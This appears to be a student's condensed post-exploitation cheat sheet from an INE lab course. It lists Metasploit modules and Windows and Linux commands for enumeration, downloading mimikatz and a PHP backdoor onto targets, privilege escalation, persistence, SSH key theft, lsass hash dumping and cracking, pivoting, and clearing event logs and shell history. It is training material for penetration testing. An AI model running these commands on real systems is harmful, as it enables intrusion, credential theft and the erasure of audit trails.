Post-Exploitation
- enumerating windows system information
- scan
nmap -sV demo.ine.local - searchsploit
searchsploit rejetto, exploit withuse exploit/windows/http/rejetto_hfs_exec - msf commands
sysinfoshellhostnamesysteminfo - detailed info about windows hotfix
wmic qfe get Caption,Description,HotFixID,InstalledOnwhen finding out exact windows version
- scan
- enumerating windows users and groups
- msf commands
getuidgetprivs - post exploit
backgrounduse post/windows/gather/enum_logged_on_usersset SESSION 1 - check current permissions
whoami /priv - check users
net usersnet user administrator - check groups
net localgroupnet localgroup administrators
- msf commands
- enumerating windows network information
- cmd commands
ipconfigipconfig /allroute printarp -anetstat -ano
- cmd commands
- enumerating processes and services
- cmd commands
pspgrep explorer.exemigrate 2252 - check services
net start, detailswmic service list brief - check tasks
tasklist /SVCschtasks /query /fo LIST
- cmd commands
- automating windows local enumeration
- post exploit module for enum privs
use post/windows/gather/win_privs - post exploit module for logged on users
use post/windows/gather/enum_logged_on_users - post exploit check vm
use post/windows/gather/checkvm - post exploit check apps
use post/windows/gather/enum_applications - post exploit check computers
use post/windows/gather/enum_computers - post exploit check patches
use post/windows/gather/enum_patches - cool project
https://github.com/411Hall/JAWS, upload withupload /root/Desktop/jaws-enum.ps1 - execute file
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txtdownloaddownload JAWS-Enum.txt
- post exploit module for enum privs
- enumerating linux system information
- commands
sysinfohostnamecat /etc/issuecat /etc/*releaseuname -alscpudf -h
- commands
- enumerating linux users and groups
- check user groups information
getuidwhoamigroups rootcat /etc/passwdgroupswholastlog
- check user groups information
- enumerating linux network information
- commands
ifconfignetstatroutecat /etc/networkscat /etc/hostscat /etc/resolv.conf
- commands
- enumerating processes and cronjobs
- commands
pspgrep vsftpdls -al /etc/cron*
- commands
- automating linux local enumeration
- use
background, load modules - check os info
use post/linux/gather/enum_configs - check network
use post/linux/gather/enum_network - check system config
use post/linux/gather/enum_system - github
https://github.com/rebootuser/LinEnum
- use
- setting up a web server with python
- command
python -m SimpleHTTPServer 80
- command
- transferring files with windows targets
- use
python3 -m http.server 80andcertutil -urlcache -f http://10.10.31.3/mimikatz.exe mimikatz.exe
- use
- transferring files to linux targets
- use
python3 -m http.server 80andwget http://192.217.117.2/php-backdoor.php
- use
- upgrading non-interactive shells
- using bash interactive
/bin/bash -i - using python
python -c 'import pty; pty.spawn("/bin/bash")'
- using bash interactive
- windows privesc check
- check folder
cd C:\Users\student\Desktop\PrivescCheck - run script
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck" - use the credentials
runas.exe /user:administrator cmd - start an hta server
use exploit/windows/misc/hta_serverand execute payloadmshta.exe http://10.10.31.2:8080/Rv4eiCTge85UJ15.hta
- check folder
- permissions matter!
- check for writable files
find / -not -type l -perm -o+w - create password for root user
openssl passwd -1 -salt abc passwordand add the generated entryvim /etc/shadow
- check for writable files
- editing gone wrong
- check suid binaries
find / -user root -perm -4000 -exec ls -ldb {} \; - check sudo commands
sudo -l - launch man and get shell
sudo man ls!/bin/bash
- check suid binaries
- maintaining access, persistence service
- use module
use exploit/windows/local/persistence_serviceto get a new session whenever victim reboots
- use module
- maintaining access, rdp
- migrate to gain privilege
getuidps -S explorer.exemigrate 2764 - msf meterpreter
run getgui -e -u alice -p hack_123321and login withxfreerdp /u:alice /p:hack_123321 /v:demo.ine.local
- migrate to gain privilege
- maintaining access I
- copy the ssh private key
scp student@demo.ine.local:~/.ssh/id_rsa . - login with private key
chmod 400 id_rsassh -i id_rsa student@demo.ine.local
- copy the ssh private key
- local job scheduling
- create cronjob for http server
echo "* * * * * cd /home/student/ && python -m SimpleHTTPServer" > croncrontab -i croncrontab -l
- create cronjob for http server
- windows ntlm hash cracking
- migrate to lsass.exe
migrate -N lsass.exe - dump the hashes
hashdump - check hashes are stored
backgroundcreds - crack hashes
use auxiliary/analyze/crack_windowsset CUSTOM_WORDLIST /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
- migrate to lsass.exe
- linux password cracker
- start the database
/etc/init.d/postgresql start - linux hashdump
use post/linux/gather/hashdump - crack hash
use auxiliary/analyze/crack_linuxset SHA512 true
- start the database
- pivoting
- use
ipconfigto check the ip of next machine then userun autoroute -s 10.0.16.0/20 - now we can scan using
use auxiliary/scanner/portscan/tcp - do port forwarding
portfwd add -l 1234 -p 80 -r demo2.ine.local
- use
- clearing your own tracks on windows
- clear event logs
clearev
- clear event logs
- clearing your own tracks on linux
- clear history
history -c - clear bash history file
cat /dev/null > ~/.bash_history
- clear history